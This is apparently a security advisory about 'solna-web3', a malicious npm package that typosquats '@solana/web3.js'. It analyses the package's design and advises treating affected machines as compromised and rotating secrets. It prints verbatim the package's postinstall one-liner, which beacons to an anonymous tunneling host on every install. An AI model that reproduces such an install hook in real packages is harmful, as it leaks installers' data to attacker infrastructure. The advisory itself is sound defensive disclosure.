solna-web3@1.5.98

Package name 'solna-web3' is a one-character typosquat of the popular '@solana/web3.js' (drops the 'a' from 'solana'). The package's only real functionality lives in a postinstall hook: package.json declares `"postinstall": "node -e '(async()=>{try{await require(\"https\").get(\"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry\")}catch(e){}})()'"`, which performs an HTTPS GET to a pinggy-free.link tunneling subdomain on every `npm install`. Pinggy is an anonymous, ephemeral tunneling service unrelated to npm or Solana; the path `/npm/-/binary/telemetry` is cover-story styling that mimics npm registry paths. Errors are silently swallowed. The request leaks installer IP, timing, and install count to attacker-controlled infrastructure with no opt-in. The advertised API surface (index.js exports a single trivial `getProgram()` that logs and shells out `solana --version`) is a stub designed to make the package look real; real behavior is the beacon. Combination of typosquat against a top-100 package + postinstall exfiltration to an anonymous tunneling host + decoy API is unambiguous supply-chain attack shape. ## Source: ghsa-malware (f1c647bdc92e25b1b7c0ce1b45520d1c8fdc3ebe47dab9292832c6457204cf5f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.